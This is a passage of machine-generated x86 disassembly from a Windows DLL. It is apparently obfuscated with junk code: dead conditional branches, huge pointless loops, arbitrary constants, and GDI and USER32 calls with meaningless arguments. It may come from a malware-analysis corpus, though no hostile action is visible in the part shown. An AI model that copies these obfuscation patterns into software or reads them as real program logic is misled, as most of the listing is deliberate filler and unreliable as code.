jmp 0x1002b0c3
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 2
jge 0x1002b0df
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x13a0], 7
jmp 0x1002b0b6
cmp dword [ebp - 0x17c], 0x59e5
je 0x1002b0f7
mov dword [ebp - 0x5c0], 1
jmp 0x1002b0fe
and dword [ebp - 0x5c0], 0
cmp dword [ebp - 0x17c], 0
je 0x1002b113
mov dword [ebp - 0xb50], 1
jmp 0x1002b11a
and dword [ebp - 0xb50], 0
mov eax, dword [ebp - 0xb50]
neg eax
je 0x1002b139
cmp dword [ebp - 0x17c], 0
je 0x1002b139
mov dword [ebp - 0x5b0], 1
jmp 0x1002b140
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x5b0], eax
jne 0x1002b15a
mov dword [ebp - 0x8b0], 1
jmp 0x1002b161
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0x8b0]
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x28c]
cmp eax, dword [ebp - 0x174]
jge 0x1002b187
mov dword [ebp - 0x5b8], 1
jmp 0x1002b18e
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x5b8]
sub eax, dword [ebp - 0x17c]
mov dword [ebp - 0xa30], eax
jne 0x1002b1b4
cmp dword [ebp - 0x174], 0
jne 0x1002b1b4
and dword [ebp - 0x8b8], 0
jmp 0x1002b1be
mov dword [ebp - 0x8b8], 1
mov eax, dword [ebp - 0x5c0]
imul eax, dword [ebp - 0x8b8]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x15dc], eax
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x1558], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x1374], eax
cmp dword [ebp - 0x17c], 0
jne 0x1002b22e
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x5c8], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp + eax - 0x13a0], ecx
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x5c8], eax
jle 0x1002b22e
and dword [ebp - 0xaf0], 0
jmp 0x1002b238
mov dword [ebp - 0xaf0], 1
imul eax, dword [ebp - 0xaf0], 0xfffffff7
cmp eax, dword [ebp - 0x28c]
jge 0x1002b253
mov dword [ebp - 0x5d0], 1
jmp 0x1002b25a
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x5d0]
mov dword [ebp - 0xe8c], eax
mov dword [ebp - 0xec0], 0xf6285890
mov dword [ebp - 0x13bc], 0
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x1002b2a1
push 1
push 0
push 0x42d
call dword [sym.imp.USER32.dll_InvalidateRect]
mov byte [ebp - 0x14d], 0
movzx eax, byte [ebp - 0x14d]
test eax, eax
je 0x1002b2bb
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x46c], 0x9642e40c
mov dword [ebp - 0x137c], 8
mov byte [ebp - 0x105], 0
mov dword [ebp - 0x8c0], 0x7e04
mov dword [ebp - 0xf04], 0x10009d78
cmp dword [ebp - 0x8c0], 0x80de
jle 0x1002b39a
and dword [ebp - 0x3d4], 0
jmp 0x1002b310
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0x3d93
jge 0x1002b39a
and dword [ebp - 0x294], 0
jmp 0x1002b332
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x1097
jge 0x1002b395
mov eax, dword [ebp - 0x3d4]
sub eax, dword [ebp - 0x294]
cdq
mov dword [ebp - 0xd80], eax
mov dword [ebp - 0xd7c], edx
push dword [ebp - 0xd7c]
push dword [ebp - 0xd80]
lea ecx, [ebp - 0x1808]
call fcn.1000dafa
pop ecx
pop ecx
mov dword [ebp - 0xc28], eax
mov ecx, dword [ebp - 0xc28]
call fcn.1001b097
push eax
call fcn.1004e316
pop ecx
lea ecx, [ebp - 0x1808]
call fcn.1001b08d
jmp 0x1002b325
jmp 0x1002b303
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x1002b3bb
push 0x3061
push 0
push 0
push 0x543b
call fcn.10045b35
add esp, 0x10
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x8c0], 0x7b12
jge 0x1002b3d7
push dword [ebp - 0xf04]
call fcn.1004e316
pop ecx
jmp 0x1002b3f3
mov dword [ebp - 4], 6
jmp 0x1002b403
mov byte [ebp - 0x14f], 0
lea eax, [ebp - 0x14f]
push eax
push 1
push 0
call fcn.10036feb
add esp, 0xc
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x36c], 1
mov dword [ebp - 0x1244], 0x4fd9e2a8
mov dword [ebp - 0x1240], 0x4fd9e2a8
mov dword [ebp - 0x123c], 0x4fd9e2a8
mov dword [ebp - 0x1238], 0x4fd9e2a8
mov dword [ebp - 0x13c4], 0x3414
mov byte [ebp - 0x10d], 0
push 0
lea eax, [ebp - 0x10d]
push eax
call fcn.10037171
pop ecx
pop ecx
mov eax, dword [ebp - 0x36c]
cmp eax, dword [ebp - 0x36c]
jg 0x1002b494
mov dword [ebp - 0x5d8], 1
jmp 0x1002b49b
and dword [ebp - 0x5d8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x36c]
cmp ecx, dword [ebp + eax - 0x1244]
jge 0x1002b4bc
mov dword [ebp - 0xa38], 1
jmp 0x1002b4c3
and dword [ebp - 0xa38], 0
mov eax, dword [ebp - 0x5d8]
cmp eax, dword [ebp - 0xa38]
jne 0x1002b4dd
mov dword [ebp - 0x5e0], 1
jmp 0x1002b4e4
and dword [ebp - 0x5e0], 0
cmp dword [ebp - 0x5e0], 0x9beb0647
jae 0x1002b4fc
mov dword [ebp - 0x8c8], 1
jmp 0x1002b503
and dword [ebp - 0x8c8], 0
cmp dword [ebp - 0x8c8], 0
jne 0x1002b518
mov dword [ebp - 0x5e8], 1
jmp 0x1002b51f
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x1384], 0
mov dword [ebp - 0xea0], 0xc7747bb7
mov dword [ebp - 0xe9c], 0xc7747bb7
mov dword [ebp - 0xe98], 0xc7747bb7
mov dword [ebp - 0xe94], 0xc7747bb7
push 4
lea ecx, [ebp - 0xb94]
call fcn.1001b2e8
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x184], 5
mov dword [ebp - 0x8d0], 0x72c02a3
mov dword [ebp - 0xb78], 0x22be
mov dword [ebp - 0xf0c], 0x10009dc8
cmp dword [ebp - 0xb78], 0x25c8
jle 0x1002b646
and dword [ebp - 0x29c], 0
jmp 0x1002b5bc
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x26e0
jge 0x1002b646
and dword [ebp - 0x40c], 0
jmp 0x1002b5de
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0x5805
jge 0x1002b641
mov eax, dword [ebp - 0x29c]
sub eax, dword [ebp - 0x40c]
cdq
mov dword [ebp - 0xd8c], eax
mov dword [ebp - 0xd88], edx
push dword [ebp - 0xd88]
push dword [ebp - 0xd8c]
lea ecx, [ebp - 0x16ac]
call fcn.1000dafa
pop ecx
pop ecx
mov dword [ebp - 0xc30], eax
mov ecx, dword [ebp - 0xc30]
call fcn.1001b097
push eax
call fcn.1004e316
pop ecx
lea ecx, [ebp - 0x16ac]
call fcn.1001b08d
jmp 0x1002b5d1
jmp 0x1002b5af
push 2
lea ecx, [ebp - 0x1094]
call fcn.1001b2e8
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0xb78], 0x1f9d
jge 0x1002b673
push dword [ebp - 0xf0c]
call fcn.1004e316
pop ecx
jmp 0x1002b68f
mov dword [ebp - 4], 0x12
jmp 0x1002b69f
mov dword [ebp - 0xc38], 0x504e
mov dword [ebp - 0xaf8], 0xa2e
mov dword [ebp - 0xf60], 0
mov dword [ebp - 0xea8], 0xfffffffe
push 0x64a1
push 0x7356
push 0
lea eax, [ebp - 0xb94]
push eax
push 1
push 0x77bc
lea eax, [ebp - 0x68]
push eax
push 0
call fcn.100417a9
add esp, 0x20
mov dword [ebp - 0x68], 0
jmp 0x1002b6ff
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1002b718
push dword [ebp - 0x68]
lea ecx, [ebp - 0x1094]
call fcn.1001b386
and dword [eax], 0
jmp 0x1002b6f8
mov dword [ebp - 0x68], 0
jmp 0x1002b728
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x1002b73e
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x1404], 6
jmp 0x1002b721
mov esi, dword [ebp - 0x184]
push 2
lea ecx, [ebp - 0xb94]
call fcn.1001b386
cmp dword [eax], esi
jg 0x1002b761
mov dword [ebp - 0x5f0], 1
jmp 0x1002b768
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x8d0], eax
mov eax, dword [ebp - 0x8d0]
mov dword [ebp - 0x5f8], eax
push 1
lea ecx, [ebp - 0x1094]
call fcn.1001b386
mov ecx, dword [ebp - 0x5f8]
mov dword [eax], ecx
push 2
lea ecx, [ebp - 0xb94]
call fcn.1001b386
mov esi, dword [ebp - 0x5f8]
imul esi, dword [eax]
push 2
lea ecx, [ebp - 0xb94]
call fcn.1001b386
cmp esi, dword [eax]
jle 0x1002b7c8
mov dword [ebp - 0xa40], 1
jmp 0x1002b7cf
and dword [ebp - 0xa40], 0
cmp dword [ebp - 0xa40], 0x89d73ae4
je 0x1002b7e7
mov dword [ebp - 0x600], 1
jmp 0x1002b7ee
and dword [ebp - 0x600], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xea0]
neg eax
cmp eax, dword [ebp - 0x600]
jge 0x1002b814
push 9
pop eax
test eax, eax
jne 0x1002b814
and dword [ebp - 0x8d8], 0
jmp 0x1002b81e
mov dword [ebp - 0x8d8], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xea0]
cmp dword [ebp - 0x8d8], eax
jle 0x1002b84d
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xea0], 0
je 0x1002b84d
mov dword [ebp - 0x4ac], 1
jmp 0x1002b854
and dword [ebp - 0x4ac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp + eax - 0xea0], ecx
cmp dword [ebp - 0x4ac], 0
je 0x1002b879
cmp dword [ebp - 0xc38], 0
jne 0x1002b894
push 1
lea ecx, [ebp - 0x1094]
call fcn.1001b386
cmp dword [eax], 0
jne 0x1002b894
and dword [ebp - 0x608], 0
jmp 0x1002b89e
mov dword [ebp - 0x608], 1
mov esi, dword [ebp - 0x184]
mov edi, dword [ebp - 0x608]
sub edi, dword [ebp - 0xaf8]
push 1
lea ecx, [ebp - 0xb94]
call fcn.1001b386
imul edi, dword [eax]
mov eax, 0x59d568d5
sub eax, edi
cmp eax, esi
jl 0x1002b8d7
mov dword [ebp - 0x610], 1
jmp 0x1002b8de
and dword [ebp - 0x610], 0
mov esi, dword [ebp - 0xaf8]
add esi, dword [ebp - 0x610]
push 2
lea ecx, [ebp - 0xb94]
call fcn.1001b386
cmp esi, dword [eax]
jge 0x1002b907
mov dword [ebp - 0x8e0], 1
jmp 0x1002b90e
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0xf60]
cmp dword [ebp - 0x8e0], eax
jle 0x1002b928
mov dword [ebp - 0x618], 1
jmp 0x1002b92f
and dword [ebp - 0x618], 0
push 1
lea ecx, [ebp - 0xb94]
call fcn.1001b386
mov ecx, dword [ebp - 0x618]
cmp ecx, dword [eax]
jge 0x1002b952
mov dword [ebp - 0x464], 1
jmp 0x1002b959
and dword [ebp - 0x464], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x464]
mov dword [ebp + eax - 0x1404], ecx
cmp dword [ebp - 0x464], 0
je 0x1002bb17
mov dword [ebp - 0xc40], 0x1f4b9efe
mov dword [ebp - 0x1004], 1
mov dword [ebp - 0x184], 0xffffffe4
jmp 0x1002b9a6
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0xfffffff8
jge 0x1002baf8
mov dword [ebp - 0xd8], 0x4142
mov dword [ebp - 0x630], 0xb9fe29f1
mov eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0xd8]
jle 0x1002badd
cmp dword [ebp - 0xd8], 0xd11e
jle 0x1002b9f1
mov dword [ebp - 0xa48], 1
jmp 0x1002b9f8
and dword [ebp - 0xa48], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1404]
imul eax, dword [ebp - 0xa48]
test eax, eax
jne 0x1002ba21
cmp dword [ebp - 0xc40], 0
jne 0x1002ba21
and dword [ebp - 0x620], 0
jmp 0x1002ba2b
mov dword [ebp - 0x620], 1
mov eax, dword [ebp - 0x620]
sub eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
lea eax, [ecx + eax + 0x406997b9]
cmp eax, 0xfffffff7
jl 0x1002ba55
mov dword [ebp - 0x8e8], 1
jmp 0x1002ba5c
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0x8e8], eax
je 0x1002ba76
mov dword [ebp - 0x628], 1
jmp 0x1002ba7d
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0xea8]
cmp dword [ebp - 0x628], eax
jne 0x1002ba97
mov dword [ebp - 0xb58], 1
jmp 0x1002ba9e
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0xb58]
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0x630]
jl 0x1002bac4
mov dword [ebp - 0xc48], 1
jmp 0x1002bacb
and dword [ebp - 0xc48], 0
cmp dword [ebp - 0xd8], 0
jne 0x1002badd
and dword [ebp - 0x8f0], 0
jmp 0x1002bae7
mov dword [ebp - 0x8f0], 1
mov eax, dword [ebp - 0x8f0]
mov dword [ebp - 0x1004], eax
jmp 0x1002b999
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x1002bb12
push 0
call fcn.10041b27
pop ecx
jmp 0x1002bc77
mov byte [ebp - 0x115], 0
mov dword [ebp - 0x638], 0x20e0
mov dword [ebp - 0xeb0], 0x10009e40
cmp dword [ebp - 0x638], 0x229e
jle 0x1002bbed
and dword [ebp - 0x2a4], 0
jmp 0x1002bb58
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x2685
jge 0x1002bbe2
and dword [ebp - 0x374], 0
jmp 0x1002bb7a
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x2f75
jge 0x1002bbdd
mov eax, dword [ebp - 0x2a4]
xor eax, dword [ebp - 0x374]
cdq
mov dword [ebp - 0xd98], eax
mov dword [ebp - 0xd94], edx
push dword [ebp - 0xd94]
push dword [ebp - 0xd98]
lea ecx, [ebp - 0x16d0]
call fcn.1000dafa
pop ecx
pop ecx
mov dword [ebp - 0xc50], eax
mov ecx, dword [ebp - 0xc50]
call fcn.1001b097
push eax
call fcn.1004e316
pop ecx
lea ecx, [ebp - 0x16d0]
call fcn.1001b08d
jmp 0x1002bb6d
jmp 0x1002bb4b
push 0x1d2
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0x41d8
push 0x3497
push 1
lea eax, [ebp - 0x115]
push eax
push 0x4c83
push 0x6098
push 0x4d2d
push 0xfd2
push 0xec6
push 0
push 0x17fb
push 0
push 0x30d0
call fcn.10036d9b
add esp, 0x34
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x638], 0x1d42
jge 0x1002bc4b
push dword [ebp - 0xeb0]
call fcn.1004e316
pop ecx
jmp 0x1002bc67
mov dword [ebp - 4], 0x12
jmp 0x1002bc77
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x1094]
call fcn.1001b36a
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb94]
call fcn.1001b36a
mov dword [ebp - 0xa50], 0x14a0
mov dword [ebp - 0xf68], 0x10009e94
cmp dword [ebp - 0xa50], 0x1573
jle 0x1002bdd4
push 0x526
push 0xf94
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
and dword [ebp - 0x2b4], 0
jmp 0x1002bce1
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x6781
jge 0x1002bdd4
and dword [ebp - 0x37c], 0
jmp 0x1002bd07
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x2b7f
jge 0x1002bdcf
and dword [ebp - 0x2ac], 0
jmp 0x1002bd2d
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x6663
jge 0x1002bdca
and dword [ebp - 0x3dc], 0
jmp 0x1002bd53
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0x64d0
jge 0x1002bdc5
mov eax, dword [ebp - 0x2ac]
cdq
idiv dword [ebp - 0x3dc]
mov eax, dword [ebp - 0x2b4]
add eax, dword [ebp - 0x37c]
add eax, edx
cdq
mov dword [ebp - 0xda4], eax
mov dword [ebp - 0xda0], edx
push dword [ebp - 0xda0]
push dword [ebp - 0xda4]
lea ecx, [ebp - 0x16f4]
call fcn.1000dafa
pop ecx
pop ecx
mov dword [ebp - 0xc58], eax
mov ecx, dword [ebp - 0xc58]
call fcn.1001b097
push eax
call fcn.1004e316
pop ecx
lea ecx, [ebp - 0x16f4]
call fcn.1001b08d
jmp 0x1002bd46
jmp 0x1002bd20
jmp 0x1002bcfa
jmp 0x1002bcd4
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0xa50], 0x1439
jge 0x1002bdf0
push dword [ebp - 0xf68]
call fcn.1004e316
pop ecx
jmp 0x1002be0c
mov dword [ebp - 4], 6
jmp 0x1002be1c
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x1a0], 0xb064
mov dword [ebp - 0x434], 1
mov dword [ebp - 0x4d8], 0x627e80a7
mov dword [ebp - 0x2bc], 0
jmp 0x1002be5a
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 4
jge 0x1002be76
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0x1528], 0xffa898cb
jmp 0x1002be4d
mov dword [ebp - 0x54], 0
jmp 0x1002be86
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xffffffed
je 0x1002bec1
mov byte [ebp - 0x153], 0
movzx eax, byte [ebp - 0x153]
test eax, eax
je 0x1002beb4
push 0x4d6e
push 0
push 0x7aa3
push 0
call fcn.10036b9a
add esp, 0x10
cmp dword [ebp - 0x1a0], 0
je 0x1002bebf
jmp 0x1002be7f
jmp 0x1002be7f
mov dword [ebp - 0x54], 0
jmp 0x1002bed1
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xfffffffa
jge 0x1002c51b
mov dword [ebp - 0xcc], 8
mov dword [ebp - 0x1ec], 0x49744027
mov dword [ebp - 0x900], 1
mov dword [ebp - 0x1d0], 0xf93f8de9
cmp dword [ebp - 0xcc], 0
jne 0x1002bf18
mov dword [ebp - 0x670], 1
jmp 0x1002bf1f
and dword [ebp - 0x670], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x13cc], eax
cmp dword [ebp - 0x434], 0
je 0x1002bf49
mov eax, 0xe58e
test eax, eax
je 0x1002bf49
mov dword [ebp - 0x640], 1
jmp 0x1002bf50
and dword [ebp - 0x640], 0
cmp dword [ebp - 0x640], 1
jne 0x1002bf65
mov dword [ebp - 0x8f8], 1
jmp 0x1002bf6c
and dword [ebp - 0x8f8], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1528]
cmp dword [ebp - 0x8f8], eax
jne 0x1002bf8d
mov dword [ebp - 0x648], 1
jmp 0x1002bf94
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x648], eax
jne 0x1002bfae
mov dword [ebp - 0xb00], 1
jmp 0x1002bfb5
and dword [ebp - 0xb00], 0
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0xb00], eax
jge 0x1002bfcf
mov dword [ebp - 0x650], 1
jmp 0x1002bfd6
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x900], eax
cmp dword [ebp - 0x900], 0
je 0x1002c000
mov eax, 0x39bf
test eax, eax
je 0x1002c000
mov dword [ebp - 0x658], 1
jmp 0x1002c007
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x658], eax
jg 0x1002c01e
mov dword [ebp - 0xa58], 1
jmp 0x1002c025
and dword [ebp - 0xa58], 0
mov eax, dword [ebp - 0xa58]
sub eax, 8
je 0x1002c045
cmp dword [ebp - 0x1a0], 0
je 0x1002c045
mov dword [ebp - 0x660], 1
jmp 0x1002c04c
and dword [ebp - 0x660], 0
imul eax, dword [ebp - 0x660], 0xfbe6
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xd0c6
jge 0x1002c074
mov dword [ebp - 0x908], 1
jmp 0x1002c07b
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0xcc]
imul eax, dword [ebp - 0x908]
imul eax, dword [ebp - 0x54]
test eax, eax
jne 0x1002c0a9
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1528], 0
jne 0x1002c0a9
and dword [ebp - 0x668], 0
jmp 0x1002c0b3
mov dword [ebp - 0x668], 1
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x668]
jne 0x1002c0d5
xor eax, eax
inc eax
jne 0x1002c0d5
cmp dword [ebp - 0x1d0], 0
jne 0x1002c0d5
and dword [ebp - 0xb18], 0
jmp 0x1002c0df
mov dword [ebp - 0xb18], 1
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0xb18], eax
jne 0x1002c0f9
mov dword [ebp - 0x910], 1
jmp 0x1002c100
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x670]
cmp eax, dword [ebp - 0x910]
jne 0x1002c4bd
mov dword [ebp - 0x550], 0x2e7dfe98
mov dword [ebp - 0x54c], 0x2e7dfe98
mov dword [ebp - 0x548], 0x2e7dfe98
mov dword [ebp - 0x544], 0x2e7dfe98
mov dword [ebp - 0xa0], 0x5dd215cd
mov dword [ebp - 0x10c8], 0xfffffffa
mov dword [ebp - 0x10c4], 0xfffffffa
mov dword [ebp - 0x10c0], 0xfffffffa
mov dword [ebp - 0x10bc], 0xfffffffa
lea ecx, [ebp - 0x4e9]
call fcn.1001b395
push eax
lea eax, [ebp - 0x10b8]
push eax
lea eax, [ebp - 0x10c8]
push eax
lea ecx, [ebp - 0x1624]
call fcn.1001b398
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1414]
call fcn.1001b344
mov byte [ebp - 4], 0x19
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x550], 0
je 0x1002c39d
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x434]
jl 0x1002c1d2
mov dword [ebp - 0x678], 1
jmp 0x1002c1d9
and dword [ebp - 0x678], 0
cmp dword [ebp - 0x678], 0x4fe37806
jg 0x1002c1f1
mov dword [ebp - 0xc60], 1
jmp 0x1002c1f8
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x138c], eax
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x13d4], eax
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0xa0]
jl 0x1002c22a
mov dword [ebp - 0xa60], 1
jmp 0x1002c231
and dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0xa60], eax
jne 0x1002c24b
mov dword [ebp - 0x680], 1
jmp 0x1002c252
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x680]
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x4d8]
cmp eax, dword [ebp - 0xa0]
je 0x1002c278
mov dword [ebp - 0x918], 1
jmp 0x1002c27f
and dword [ebp - 0x918], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x550]
cmp dword [ebp - 0x918], eax
jle 0x1002c29f
mov dword [ebp - 0x688], 1
jmp 0x1002c2a6
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0x688]
jge 0x1002c2c0
mov dword [ebp - 0xeb8], 1
jmp 0x1002c2c7
and dword [ebp - 0xeb8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x550]
mov dword [ebp - 0x1394], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa0]
cmp ecx, dword [ebp + eax - 0x1528]
jg 0x1002c2fa
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x690], eax
je 0x1002c3be
mov dword [ebp - 0xff0], 1
jmp 0x1002c3c5
and dword [ebp - 0xff0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x550]
mov dword [ebp - 0x1540], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, 0x5ca3
inc ecx
cmp ecx, dword [ebp + eax - 0x550]
jne 0x1002c3f8
mov dword [ebp - 0x920], 1
jmp 0x1002c3ff
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x1a0]
cmp eax, dword [ebp - 0x920]
jge 0x1002c419
mov dword [ebp - 0x698], 1
jmp 0x1002c420
and dword [ebp - 0x698], 0
push 2
lea ecx, [ebp - 0x1414]
call fcn.1001b386
mov ecx, dword [ebp - 0x698]
cmp ecx, dword [eax]
jle 0x1002c443
mov dword [ebp - 0xa68], 1
jmp 0x1002c44a
and dword [ebp - 0xa68], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x550]
cmp dword [ebp - 0xa68], eax
jge 0x1002c46a
mov dword [ebp - 0x6a0], 1
jmp 0x1002c471
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0xa0], eax
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x1002c4ac
push 0x6283
push 0x53b0
push 0
push 1
push 0xf2d
push 1
call fcn.100371c0
add esp, 0x18
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1414]
call fcn.1001b36a
jmp 0x1002c516
mov dword [ebp - 0xc70], 0xdb030f3e
mov dword [ebp - 0x1ec], 0
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0xc70], eax
mov byte [ebp - 0x155], 0
movzx eax, byte [ebp - 0x155]
test eax, eax
je 0x1002c516
push 0x172
push 0
push 0x1ad7
push 0x2e92
push 0
push 0x10
push 0x3e3a
push 0x5a6c
call fcn.1003fe03
add esp, 0x20
jmp 0x1002beca
mov dword [ebp - 0x2c4], 0
jmp 0x1002c534
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 1
jge 0x1002c550
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0x13d0], 0x197cbb40
jmp 0x1002c527
mov eax, dword [ebp - 0x46c]
sub eax, dword [ebp - 0xec]
imul eax, dword [ebp - 0x46c]
cmp eax, 5
jne 0x1002c574
mov dword [ebp - 0x928], 1
jmp 0x1002c57b
and dword [ebp - 0x928], 0
cmp dword [ebp - 0x928], 0
jne 0x1002c590
mov dword [ebp - 0x6a8], 1
jmp 0x1002c597
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0xec0]
cmp eax, dword [ebp - 0x6a8]
jge 0x1002c5b1
mov dword [ebp - 0xb1c], 1
jmp 0x1002c5b8
and dword [ebp - 0xb1c], 0
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0xb1c]
jl 0x1002c5d2
mov dword [ebp - 0x6b0], 1
jmp 0x1002c5d9
and dword [ebp - 0x6b0], 0
cmp dword [ebp - 0x6b0], 0xe780ca9f
jne 0x1002c5f1
mov dword [ebp - 0x930], 1
jmp 0x1002c5f8
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x930]
sub eax, 0x3a4d1b40
imul esi, eax, 0x6d40
sub esi, dword [ebp - 0xec]
push 0
lea ecx, [ebp - 0x11bc]
call fcn.1001b386
sub esi, dword [eax]
jne 0x1002c62c
mov dword [ebp - 0x6b8], 1
jmp 0x1002c633
and dword [ebp - 0x6b8], 0
cmp dword [ebp - 0x6b8], 0xf0442e11
jb 0x1002c64b
mov dword [ebp - 0xc78], 1
jmp 0x1002c652
